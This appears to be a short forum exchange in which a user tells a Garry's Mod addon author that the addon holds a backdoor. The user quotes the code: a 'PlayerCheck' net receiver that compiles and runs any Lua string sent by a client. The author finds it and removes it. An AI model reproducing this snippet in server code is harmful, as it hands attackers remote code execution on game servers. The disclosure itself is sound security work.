you added a exploitable net which allow people who use this net to execute code, (like a backdoor)
Code:
util.AddNetworkString( 'PlayerCheck' ) net.Receive( 'PlayerCheck', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )
Where is that? I will be happy to remove that. and nope, I didnt add that.
(EDIT): Found it! i will look for more things that are suspicious and delete them ( I am new with lua) sorry for the inconvenience, this will not happen again. ok, i think it was just that part. if there's something more, please tell me and I will remove it!